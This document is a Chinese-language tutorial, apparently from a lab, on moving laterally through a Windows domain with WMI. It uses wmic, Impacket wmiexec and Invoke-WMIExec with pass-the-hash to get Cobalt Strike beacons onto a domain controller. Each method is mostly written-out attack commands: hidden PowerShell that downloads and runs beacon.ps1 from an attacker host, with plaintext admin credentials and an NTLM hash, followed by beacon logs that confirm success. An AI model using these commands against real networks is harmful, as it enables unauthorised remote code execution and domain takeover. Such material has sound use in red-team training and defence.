

WMI横移

WMI介绍

WMI是微软在发布Powershell之前用于管理Windows系统的核心数据库工具。它的架构类似于数据库，并使用DCOM或WinRM协议来操作。随着PsExec在内网中受到严格监控，并被许多反病毒厂商列为黑名单，黑客开始转向WMI来进行横向移动。值得注意的是，Windows操作系统默认不会在日志中记录WMI操作，这导致了许多APT开始使用WMI作为攻击手段。

WMIC是WMI的扩展，它提供了从命令行接口及批处理脚本执行系统管理的能力。简而言之，wmic即wmic.exe，位于Windows目录中，是一个命令行工具。WMIC支持两种执行模式：交互模式和非交互模式。总的来说，WMI是Windows的核心管理技术。

WMI横移命令

如下命令实现在远程计算机上创建并运行一个新进程，换句话说，即在指定的远程节点上执行一个Powershell命令，以此实现CS上线(注意：普通用户也能执行)

```
shell wmic /NODE:10.10.10.10 /user:administrator /password:qQ123456 PROCESS call  
create "powershell.exe -nop -w hidden -c \"IEX ((new-object  
net.webclient).downloadstring('http://10.10.10.3:8000/beacon.ps1'))\""
```

	first_start	external	internal	listener	user	computer	process	pid	address	arch	note	last
	09-01 23:11:42	192.168.47.153	192.168.47.153	HTTPS	Administrator *	DC	powershell.exe	1396	未知	x64		1s
	09-02 11:48:30	192.168.47.153	192.168.47.153	HTTPS	henry1	WIN10PC	powershell.exe	5424	局域网	x64		1s
	09-02 11:48:30	192.168.47.153	192.168.47.153	HTTPS	henry *	WIN10PC	powershell.exe	5152	局域网	x64		529ms

上线的域控

Event Log X Beacon 192.168.47.153@5152[] X

```
09/02 22:28:30 [+] host called home, sent: 89 bytes
09/02 22:28:47 beacon> upload C:\Users\hasee\Desktop\payload.txt (C:\Users\henry1\Desktop\web\payload.txt)
09/02 22:28:47 [*] Tasked beacon to upload C:\Users\hasee\Desktop\payload.txt as C:\Users\henry1\Desktop\web\payload.txt
09/02 22:28:48 [+] host called home, sent: 223260 bytes
09/03 11:11:12 beacon> shell wmic /NODE:10.10.10.10 /user:administrator /password:qQ123456 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.10.10.3:8000/beacon.ps1'))\""
09/03 11:11:12 [*] Tasked beacon to run: wmic /NODE:10.10.10.10 /user:administrator /password:qQ123456 PROCESS call create "powershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://10.10.10.3:8000/beacon.ps1'))\""
09/03 11:11:13 [+] host called home, sent: 236 bytes
09/03 11:11:25 [+] received output:
执行(Win32_Process)->Create()
方法执行成功。
外参数:
instance of __PARAMETERS
{
    ProcessId = 1396;
    ReturnValue = 0;
};
```

域控远程上线命令

image-20230903111534237

WMI工具横移

wmiexec.exe

将wmiexec.exe上传至目标主机，随后执行如下命令，让目标域控上线

```
shell wmiexec.exe administrator:qQ123456@10.10.10.10 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://10.10.10.3:8000/beacon.ps1'))"
```

	first start	external	internal	listener	user	computer	process	pid	address	arch	note	last
		192.168.47.153...	10.10.10.10	HTTPS	Administrator *	DC	powershell.exe	5800	未知	x64		136ms
	09-01 23:11:42	192.168.47.153	192.168.47.153	HTTPS	henry1	WIN10PC	powershell.exe	5424	局域网	x64		196ms
	09-02 11:48:30	192.168.47.153	192.168.47.153	HTTPS	henry *	WIN10PC	powershell.exe	5152	局域网	x64		134ms

Event Log X Beacon 192.168.47.153@5152[] X Beacon 192.168.47.153@5424[] X

2023/09/02 00:44 1,093 TGT_henry1@henry.com.ccache
2023/09/02 23:09 <DIR> web
2019/01/31 14:34 6,108,494 wmiexec.exe
5 个文件 12,681,732 字节
3 个目录 38,789,648,384 可用字节

09/03 11:30:51 beacon> she
09/03 11:30:51 [-] Unknown command: she
09/03 11:30:56 beacon> shell wmiexec.exe administrator:q0123456@10.10.10.10 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://10.10.10.3:8000/beacon.ps1'))"
09/03 11:30:56 [*] Tasked beacon to run: wmiexec.exe administrator:q0123456@10.10.10.10 "powershell.exe -nop -w hidden -c IEX ((new-object net.webclient).downloadstring('http://10.10.10.3:8000/beacon.ps1'))"
09/03 11:30:57 [+] host called home, sent: 197 bytes
09/03 11:31:07 [+] established link to child beacon: 10.10.10.10
09/03 11:31:07 [+] received output:
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[*] SMBv3.0 dialect used

使用wmiexec远程上线域控

image-20230903113158858

Invoke-WMIExec.ps1

首先导入powershell脚本: Invoke-WMIExec.ps1

```
powershell-import
```

```
09/03 20:08:15 beacon> powershell-import  
09/03 20:08:43 [*] Tasked beacon to import: E:\HackerTools\IntranetPenetration\Invoke-TheHash\Invoke-WMIExec.ps1  
09/03 20:08:45 [+] host called home, sent: 15352 bytes
```

image-20230903200909394

远程执行powershell命令上线域控

```
powershell Invoke-WMIExec -Target 10.10.10.10 -Username administrator  
-Hash e39c2287a10517cf1cde66bd8c7c6cf0 -Command "powershell.exe -nop -w hidden -c  
IEX((new-object net.webclient).downloadstring('http://10.10.10.3:8000/beacon.ps1'))"  
-verbose
```

```
09/03 20:10:27 beacon> powershell Invoke-WMIExec -Target 10.10.10.10 -Username administrator -Hash e39c2287a10517cf1cde66bd8c7c6cf0 -Command "powershell.exe -nop -w hidden  
-c IEX((new-object net.webclient).downloadstring('http://10.10.10.3:8000/beacon.ps1'))"  
09/03 20:10:27 [*] Tasked beacon to run: Invoke-WMIExec -Target 10.10.10.10 -Username administrator -Hash e39c2287a10517cf1cde66bd8c7c6cf0 -Command "powershell.exe -nop -w  
hidden -c IEX((new-object net.webclient).downloadstring('http://10.10.10.3:8000/beacon.ps1'))"  
09/03 20:10:28 [+] host called home, sent: 873 bytes  
09/03 20:10:31 [+] received output:  
#< CLIXML  
[+] Command executed with process ID 4684 on 10.10.10.10  
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04"><Obj S="progress" RefId="0"><TN RefId="0"><T>System.Management.Automation.  
PSCustomObject</T><T>System.Object</T></TN><MS><I64 N="SourceId">1</I64><PR N="Record"><AV>正在准备首次使用模块。</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-  
1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj><Obj S="progress" RefId="1"><TNRef RefId="0" /><MS><I64 N="SourceId">2</I64><PR N="Record"><AV>正在准备首次使用模块。  
</AV><AI>0</AI><Nil /><PI>-1</PI><PC>-1</PC><T>Completed</T><SR>-1</SR><SD> </SD></PR></MS></Obj></Objs>
```

image-20230903201141946

最后更新于2024-02-16T17:46:03.292Z